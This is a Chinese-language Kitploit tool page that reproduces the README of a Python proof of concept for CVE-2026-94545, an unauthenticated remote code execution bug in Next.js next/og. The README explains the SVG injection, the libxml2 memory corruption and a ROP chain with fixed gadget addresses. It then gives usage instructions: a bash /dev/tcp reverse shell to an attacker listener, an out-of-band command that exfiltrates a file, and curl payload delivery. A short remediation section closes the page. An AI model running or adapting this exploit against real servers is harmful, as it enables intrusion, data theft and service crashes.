Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-94545- — 针对 CVE-2026-94545 的 Python PoC:利用 Next.js next/og 中未转义的 SVG 输入触发 libxml2 内存损坏,并通过 ROP 链实现未认证的远程代码执行(RCE)。 | Kitploit
工具/GitHubGitHub/mrdark-ops/cve-2026-94545-
Payload生成漏洞分析漏洞利用ShellcodeWeb应用程序漏洞利用Web安全二进制利用
GitHubmrdark-ops/cve-2026-94545-

CVE-2026-94545-

针对 CVE-2026-94545 的 Python PoC:利用 Next.js next/og 中未转义的 SVG 输入触发 libxml2 内存损坏,并通过 ROP 链实现未认证的远程代码执行(RCE)。

查看仓库
111个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-94545:Next.js next/og 未认证远程代码执行

仅供安全研究使用,须在获得授权的漏洞环境中进行。

项目值
CVECVE-2026-94545 / GHSA-vcvr-r3jv-pc5j
上游Satori GHSA-wx4j-mvgx-mqwp
根本原因CWE-116(输出编码或转义不当)→ 原生 XML 解析器内存损坏 → RCE
受影响版本Next.js 16.2.0 – 16.3.5(Node 运行时且已安装 sharp);捆绑的 Satori ≥ 0.0.27 且 < 0.33.5
修复版本Next.js 16.3.6 / Satori 0.33.5
影响无需认证即可在 Next.js 服务进程中执行任意命令
测试环境Next.js 16.3.5 + sharp 0.35.4(libvips 8.18.6、librsvg 2.62.91、libxml2 2.15.3)+ Node.js v24.20.0 官方 x64 二进制(非 PIE)

在使用 Edge 运行时(export const runtime = 'edge')或未安装 sharp 的情况下,渲染会经过 resvg-wasm 沙箱,因此该漏洞无法触及原生解析链,也就不会演变为 RCE。

漏洞利用链

用户输入被作为纯文本拼接进 SVG,随后该 SVG 被整体塞入 data: URL 并交给 C 语言编写的 XML 解析器进行第二轮解析。中间仅执行了 URL 编码,从未进行 XML 转义。

第一层:App Router — 不可信输入进入渲染函数

典型模式:POST /api/og 将整个请求体,或 GET /api/og?value= 将查询参数,直接放入 ImageResponse 的 SVG <title> 中,未经过滤或转义。

import { ImageResponse } from 'next/og'

export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'

async function render(request) {
  const url = new URL(request.url)
  const value = request.method === 'POST'
    ? await request.text()
    : (url.searchParams.get('value') ?? '')
  return new ImageResponse(
    <svg width="1200" height="630"><title>{value}</title></svg>,
    { width: 1200, height: 630 }
  )
}

export const GET = render
export const POST = render

ImageResponse 接收 JSX 元素树并返回 PNG。任何将请求数据写入 SVG 子节点 / 属性 / 样式的路由都是 sink。

第 2 层:next/og 入口转发

node_modules/next/og.js 转发到 next/dist/server/og/image-response.js。Node 运行时动态加载 next/dist/compiled/@vercel/og/index.node.js(原生路径);Edge 运行时加载 wasm 路径,不受此漏洞影响。

第 3 层:@vercel/og — Satori 生成 SVG,然后将其交给光栅化处理

Next.js 内置的 @vercel/og(编译产物注释确认其包含 [email protected])的流程为:

  1. 使用 Satori 将 JSX 树序列化为 SVG 字符串。
  2. 如果检测到 sharp,则将 SVG 交给原生库进行光栅化;否则回退到 resvg-wasm。
const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
  pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
  const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}

此时,用户输入已经成为一个 SVG 字符串,并被原样传递给 sharp(原生 libvips)。

第 4 层:Satori 0.25.0 — 文本仅进行 URL 编码,从不进行 XML 转义

对于在 JSX 中显式编写的 <svg>,Satori 会将其整体序列化为一个 data:image/svg+xml URL,然后将其作为 <image> 嵌入输出中。

vercel/[email protected] 的 src/layout.ts:在进入 <svg> 节点时调用 SVGNodeToImage。

src/handler/preprocess.ts 有两个关键缺陷:

const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g   // Only used for URI percent-encoding

export function translateSVGNodeToSVGString(node, inheritedColor) {
  if (typeof node !== 'object') return String(node)  // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
  return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}

export async function SVGNodeToImage(element, inheritedColor) {
  return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
  // Flaw 2: only URI percent-encoding is performed, not XML escaping
}

&、< 和 > 并未写成 &amp; / &lt; / &gt;。百分号编码仅仅是 URL 语法要求;当下游解析器加载 data: URL 时,%3C/title%3E 会被还原为真正的 </title>,攻击者的文本便从“数据”转变为“文档结构”。

当输入为 </title><xi:include …/><title> 时,Satori 交给 sharp 的中间 SVG 呈现如下形式(为便于说明已解码):

<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
  <image x="0" y="0" width="1200" height="630"
     href="data:image/svg+xml;utf8,...<title></title><xi:include
           xmlns:xi='http://www.w3.org/2001/XInclude'
           href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>

第 5 层:sharp → libvips → librsvg → libxml2 — 原生解析与内存破坏

sharp(SVG buffer)
 → libvips  vips_foreign_load_svg_buffer()
 → librsvg  rsvg_handle_new_from_stream_with_flags()
              ├─ Parses the outer SVG
              ├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
              └─ XML parsing is delegated to libxml2
 → libxml2  xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc

载荷使用两层注入来控制 libxml2 的输入结构:

  1. 外层的 </title><xi:include parse="xml" href="data:…"> 使解析器跳转去加载一个完全由攻击者控制的嵌套文档。
  2. 在嵌套文档内部,随后使用嵌套 DTD 实体 + XInclude 来构造一个过深/过宽的实体展开与引用图。

libxml2 的内部状态被推至超出预期,导致越界写入。通过精心编排的 SVG <path> 坐标序列(携带 8 字节小端字的 IEEE-754 双精度浮点数),损坏效果被可靠地落地,从而劫持控制流。

第 6 层:非 PIE Node 固定地址 ROP → execve

官方发布的 Node.js linux-x64 二进制是一个非 PIE 可执行文件,具有固定的加载基址;PLT / GOT 和 gadget 地址都是常量,因此无需信息泄露。

本 PoC 针对 Node.js v24.20.0 官方 x64 构建;gadget 如下:

符号地址用途
POP_RDI0xA1EAEDpop rdi ; ret
POP_RAX0x7F38D4pop rax ; ret
POP_RSI0x95823Dpop rsi ; ret
POP_RDX0x776758pop rdx ; ret
STOSQ_RET0xD16725stosq ; ret(按 qword 写入暂存 qword)
EXECVE_PLT0x745FA0execve 的 PLT 存根
SCRATCH0x6B5F500固定可写地址

ROP 链首先使用 pop rax / stosq 将 "/bin/sh\0"、"-c\0"、命令字符串和 argv 数组按 qword 写入 SCRATCH,然后设置 rdi = path、rsi = argv、rdx = envp(0),并跳转到 EXECVE_PLT:

execve("/bin/sh", ["/bin/sh", "-c", "<command>"], NULL)

渲染过程本身被 execve 替换;HTTP 连接断开,服务停止响应——这是该漏洞被成功利用的固有表现。新进程继承 Node 进程环境,并可执行任意命令。

脚本用法

exploit.py 使用 Python 3 标准库实现,无第三方依赖。它将命令编码为 SVG <path> 坐标,然后通过 XInclude + 嵌套 DTD 实体组装出一个 POST 到 /api/og 的 payload。

ROP 链针对上文所述的 Node v24.20.0 / sharp 0.35.4 栈进行校准。目标必须满足:

  • Next.js 16.2.0 – 16.3.5,路由 runtime = 'nodejs',且已安装 sharp
  • 官方非 PIE 的 Node.js v24.20.0 linux-x64(gadget 地址绑定到该构建)
  • OG 路由无需认证,且用户输入进入 SVG 文本节点(默认通过 <title> 闭合)
  • 命令输出不会出现在 HTTP 响应中;需要反向 shell 或带外外传,且目标机器必须能够访问你的接收端

硬性约束:

  1. 每次成功利用都会终止网站进程。连接重置 / 空响应 / 随后的 502 都是预期现象;在下一次尝试前请重启环境。
  2. 命令必须是可打印 ASCII,不包含 NUL,且长度 ≤ 71 字节。
  3. 在目标上,/bin/sh 通常是 dash,不支持 >/dev/tcp/...。当需要 /dev/tcp 时,用 bash -c '...' 包裹。
  4. 脚本默认使用 HTTP。如果目标是 HTTPS,请使用 --output 仅生成 payload,然后自行用 curl 投递。

反向 Shell

先在接收端启动监听器,或让脚本直接启动 nc:

# In another terminal on your machine
nc -lvnp 4444

python3 exploit.py --target <host>:<port> --lhost <lhost>:4444

当给出 --lhost 而未给出 --command 时,脚本会生成:

bash -c 'bash -i>&/dev/tcp/<lhost>/<port> 0>&1'

一旦获得 shell,你就可以读取文件并执行后续命令。请注意,整个命令仍然受 71 字节的限制。

一次性带外数据外泄

# Receiver
nc -lvnp 4444

python3 exploit.py --target <host>:<port> \
  --command 'bash -c "cat /flag>/dev/tcp/<lhost>/4444"'

仅生成 Payload,自行投递

适用于 HTTPS、自定义 Host 头,或当你需要自行控制 HTTP 客户端时:

python3 exploit.py --target <host>:<port> --command 'id' --output payload.bin

# HTTP
curl -X POST --data-binary @payload.bin \
  -H "Content-Type: text/plain" \
  http://<host>:<port>/api/og

# HTTPS
curl -X POST --data-binary @payload.bin \
  -H "Content-Type: text/plain" \
  https://<host>/api/og

参数

参数描述
--target目标 host:port(必填;仅生成 payload 时也需要,用于构建默认 URL)
--target-pathPOST 路径,默认为 /api/og
--lhost反向监听 host:port;未指定 --command 时必填
--command要执行的命令(≤ 71 字节,可打印 ASCII)
--tag注入期间要闭合的 SVG 标签,默认为 title
--output仅将 payload 写入文件,不发送请求
--timeoutHTTP 超时时间(秒),默认为 15
--ncnc / ncat 的路径
--delay启动监听器后等待多少秒再发送请求,默认为 1.5

成功时,HTTP 侧通常显示 "Empty reply from server" 或连接重置;失败时,目标通常仍会返回 PNG。

修复建议

  • 升级到 Next.js 16.3.6 / Satori 0.33.5 或更高版本。该修复在序列化 SVG 文本时增加了 XML 转义,阻断了"数据 → 标记"的转换。
  • 如果无法立即升级:将 next/og 路由改为 export const runtime = 'edge',或移除 sharp,以避开原生光栅化路径;同时不要将未转义的用户输入放入 ImageResponse 的 SVG 子节点 / 属性 / 样式中。
  • 为 OG 路由添加身份验证或来源限制,并收紧进程的出站流量,以提高盲利用回调的成本。
  • 打补丁后,将任何此前暴露于公网的实例视为已失陷:轮换该进程可读取的密钥,并检查是否存在持久化。

参考资料

下载工具